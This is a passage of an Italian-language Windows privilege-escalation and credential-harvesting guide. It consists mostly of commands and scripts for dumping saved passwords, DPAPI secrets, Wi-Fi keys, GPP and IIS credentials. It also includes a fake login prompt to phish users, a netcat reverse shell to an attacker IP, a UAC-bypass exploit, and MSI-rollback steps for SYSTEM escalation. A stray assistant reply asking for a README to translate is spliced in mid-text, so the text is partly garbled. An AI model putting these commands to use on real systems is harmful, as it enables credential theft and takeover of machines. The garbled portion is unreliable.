reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault memorizza le credenziali degli utenti per server, siti web e altri programmi ai quali Windows può effettuare il login degli utenti automaticamente. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così.

Windows Vault memorizza credenziali che Windows può usare per effettuare il login degli utenti automaticamente, il che significa che qualsiasi Windows application che necessita di credenziali per accedere a una risorsa (server o sito web) può utilizzare questo Credential Manager e Windows Vault e usare le credenziali fornite invece che gli utenti inseriscano nome utente e password ogni volta.

A meno che le applicazioni non interagiscano con il Credential Manager, non penso sia possibile per loro utilizzare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole usare il vault, dovrebbe in qualche modo comunicare con il Credential Manager e richiedere le credenziali per quella risorsa dal vault di archiviazione predefinito.

Usa il cmdkey per elencare le credenziali memorizzate sulla macchina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Quindi puoi usare runas con l’opzione /savecred per utilizzare le credenziali salvate. L’esempio seguente esegue un binario remoto tramite uno SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Utilizzo di runas con un set di credential fornito.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o da Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) fornisce un metodo per la cifratura simmetrica dei dati, utilizzato principalmente nel sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto dell’utente o del sistema per contribuire significativamente all’entropia.

DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell’utente. In scenari di cifratura a livello di sistema, utilizza i segreti di autenticazione di dominio del sistema.

Le chiavi RSA utente cifrate, usando DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect{SID}, dove {SID} rappresenta il user’s Security Identifier. La chiave DPAPI, collocata insieme alla chiave master che protegge le chiavi private dell’utente nello stesso file, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l’accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando dir in CMD, anche se può essere elencata tramite PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puoi usare mimikatz module dpapi::masterkey con gli argomenti appropriati (/pvk o /rpc) per decifrarlo.

I file delle credenziali protetti dalla master password si trovano solitamente in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puoi usare mimikatz module dpapi::cred con il /masterkey appropriato per decifrare.
Puoi estrarre molte DPAPI masterkeys dalla memoria con il modulo sekurlsa::dpapi (se sei root).

DPAPI - Extracting Passwords

Credenziali PowerShell

Le credenziali PowerShell sono spesso usate per attività di scripting e automation come modo per memorizzare comodamente credenziali criptate. Le credenziali sono protette usando DPAPI, il che di solito significa che possono essere decifrate solo dallo stesso utente sullo stesso computer in cui sono state create.

Per decifrare una credenziale PS dal file che la contiene, puoi fare:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connessioni RDP salvate

Si trovano in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandi eseguiti di recente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gestore credenziali Desktop remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa il modulo Mimikatz dpapi::rdg con l’/masterkey appropriato per decrypt any .rdg files
Puoi extract many DPAPI masterkeys dalla memoria con il modulo Mimikatz sekurlsa::dpapi

Sticky Notes

Spesso gli utenti usano l’app StickyNotes su workstation Windows per salvare password e altre informazioni, senza rendersi conto che è un file di database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ed è sempre utile cercarlo ed esaminarlo.

AppCmd.exe

Nota che per recuperare le password da AppCmd.exe devi essere Administrator ed eseguire con High Integrity level.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\.\ Se questo file esiste, è possibile che alcune credentials siano state configurate e possano essere recuperate.

Questo codice è stato estratto da PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Verifica se C:\Windows\CCM\SCClient.exe esiste .
Gli installer vengono eseguiti con privilegi SYSTEM, molti sono vulnerabili a DLL Sideloading (Info da https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

File e Registro (Credenziali)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chiavi host SSH di Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Chiavi SSH nel registro

Le chiavi private SSH possono essere memorizzate nella chiave di registro HKCU\Software\OpenSSH\Agent\Keys, quindi dovresti controllare se c’è qualcosa di interessante lì:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se trovi qualsiasi voce in quel percorso sarà probabilmente una SSH key. È memorizzata crittografata ma può essere facilmente decriptata usando https://github.com/ropnop/windows_sshagent_extract.
Maggiori informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se il servizio ssh-agent non è in esecuzione e vuoi che si avvii automaticamente all’avvio esegui:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Sembra che questa tecnica non sia più valida. Ho provato a creare alcune chiavi ssh, aggiungerle con ssh-add e accedere via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l’uso di dpapi.dll durante l’autenticazione a chiave asimmetrica.

File incustoditi

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend

Esempio di contenuto:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Backup di SAM e SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenziali Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Cerca un file chiamato SiteList.xml

Password GPP memorizzata

Era disponibile in passato una funzionalità che permetteva il deployment di account locali amministratore personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi vulnerabilità di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all’interno di questi GPP, criptate con AES256 usando una chiave di default documentata pubblicamente, potevano essere decriptate da qualsiasi utente autenticato. Ciò rappresentava un rischio serio, poiché poteva permettere a utenti di ottenere privilegi elevati.

Per mitigare questo rischio, è stata sviluppata una funzione che esegue la scansione dei file GPP memorizzati localmente contenenti un campo “cpassword” non vuoto. Al ritrovamento di tale file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e la posizione del file, aiutando nell’identificazione e nella remediation di questa vulnerabilità di sicurezza.

Cerca in C:\ProgramData\Microsoft\Group Policy\history o in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) questi file:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Per decriptare la cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Uso di crackmapexec per ottenere le password:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Esempio di web.config con credenziali:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN credenziali

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registri

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Chiedere le credentials

Puoi sempre chiedere all’utente di inserire le sue credentials o anche le credentials di un altro utente se pensi possa conoscerle (nota che chiedere al client direttamente le credentials è davvero rischioso):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possibili nomi di file contenenti credenziali

File noti che, in passato, contenevano passwords in testo in chiaro o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Non ho accesso al tuo filesystem o alla repository, quindi non posso cercare né leggere i file da solo. Per procedere, per favore:

  • Incolla qui il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md, oppure
  • Indica esattamente quali file vuoi che traduca e incolla i loro contenuti.

Una volta ricevuto il testo, lo tradurrò in italiano mantenendo intatti tutti i tag, link, percorsi e la sintassi markdown/HTML come richiesto.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Dovresti anche controllare il Bin per cercare credenziali al suo interno

Per recuperare le password salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html

All’interno del registro

Altre possibili chiavi del registro contenenti credenziali

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Estrai le chiavi openssh dal registro.

Cronologia dei browser

Dovresti cercare i db dove sono memorizzate le password di Chrome o Firefox.
Controlla anche la cronologia, i bookmark e i preferiti dei browser perché magari alcune password sono memorizzate lì.

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l’intercomunicazione tra componenti software scritti in linguaggi diversi. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità attraverso una o più interfacce, identificate tramite interface IDs (IIDs).

COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

In sostanza, se riesci a sovrascrivere una qualsiasi delle DLL che verranno eseguite, puoi elevare i privilegi se quella DLL viene eseguita da un utente diverso.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Ricerca generica di password in file e registro

Cerca nei contenuti dei file

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Cerca un file con un determinato nome

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Cerca nel registro i nomi delle chiavi e le password

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Strumenti che cercano passwords

MSF-Credentials Plugin è un plugin msf; ho creato questo plugin per eseguire automaticamente ogni modulo POST di metasploit che cerca credentials all’interno della vittima.
Winpeas cerca automaticamente tutti i file contenenti passwords menzionati in questa pagina.
Lazagne è un altro ottimo strumento per estrarre password da un sistema.

Lo strumento SessionGopher cerca sessions, usernames e passwords di diversi tool che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con accesso completo. Lo stesso processo crei anche un nuovo processo (CreateProcess()) con privilegi ridotti ma che eredita tutte le handle aperte del processo principale.
Quindi, se hai accesso completo al processo con privilegi ridotti, puoi prendere la handle aperta verso il processo privilegiato creato con OpenProcess() e iniettare shellcode.
Leggi questo esempio per maggiori informazioni su come rilevare e sfruttare questa vulnerabilità.
Leggi questo altro post per una spiegazione più completa su come testare e abusare di più open handlers di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo).

Named Pipe Client Impersonation

I segmenti di memoria condivisa, chiamati pipes, permettono la comunicazione tra processi e il trasferimento di dati.

Windows fornisce una funzionalità chiamata Named Pipes, che consente a processi non correlati di condividere dati, anche su reti diverse. Questo assomiglia a un’architettura client/server, con ruoli definiti come named pipe server e named pipe client.

Quando i dati vengono inviati attraverso una pipe da un client, il server che ha creato la pipe ha la capacità di assumere l’identità del client, a condizione che disponga dei necessari diritti SeImpersonate. Individuare un processo privilegiato che comunica tramite una pipe che puoi emulare offre l’opportunità di ottenere privilegi più elevati assumendo l’identità di quel processo quando interagisce con la pipe che hai stabilito. Per istruzioni su come eseguire tale attacco, guide utili si trovano qui e qui.

Inoltre, il seguente strumento permette di intercettare una comunicazione di named pipe con uno strumento come burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e questo tool permette di elencare e vedere tutte le pipes per trovare privescs https://github.com/cyberark/PipeViewer

Varie

Estensioni di file che potrebbero eseguire codice in Windows

Consulta la pagina https://filesec.io/

Monitoraggio delle linee di comando per password

Quando si ottiene una shell come utente, possono esserci attività pianificate o altri processi in esecuzione che passano credenziali sulla linea di comando. Lo script qui sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, stampando eventuali differenze.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Rubare password dai processi

Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se hai accesso all’interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile avviare un terminale o qualsiasi altro processo come “NT\AUTHORITY SYSTEM” con un utente non privilegiato.

Questo rende possibile escalare i privilegi e bypass UAC allo stesso tempo con la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binary usato durante il processo è firmato e rilasciato da Microsoft.

Alcuni dei sistemi interessati sono i seguenti:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

L’attacco consiste fondamentalmente nell’abusare della funzionalità di rollback di Windows Installer per sostituire file legittimi con file maligni durante il processo di uninstall. Per questo l’attaccante deve creare un malicious MSI installer che verrà usato per hijackare la cartella C:\Config.Msi, che poi sarà usata da Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback sarebbero stati modificati per contenere il payload maligno.

La tecnica riassunta è la seguente:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Questo stream memorizza i metadati dell’indice della cartella.

Quindi, se elimini lo stream ::$INDEX_ALLOCATION di una cartella, NTFS rimuove l’intera cartella dal file system.

Puoi farlo usando le API standard di cancellazione dei file come:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Anche se stai chiamando una file delete API, elimina la cartella stessa.

Da Folder Contents Delete a SYSTEM EoP

Che succede se la tua primitive non ti permette di cancellare file/cartelle arbitrari, ma consente la cancellazione dei contenuti di una cartella controllata dall’attaccante?

  1. Step 1: Setup a bait folder and file
  • Crea: C:\temp\folder1
  • Al suo interno: C:\temp\folder1\file1.txt
  1. Step 2: Place an oplock on file1.txt
  • L’oplock mette in pausa l’esecuzione quando un processo privilegiato tenta di cancellare file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Passo 3: Attiva il processo SYSTEM (es., SilentCleanup)
  • Questo processo scansiona le cartelle (es., %TEMP%) e tenta di eliminare il loro contenuto.
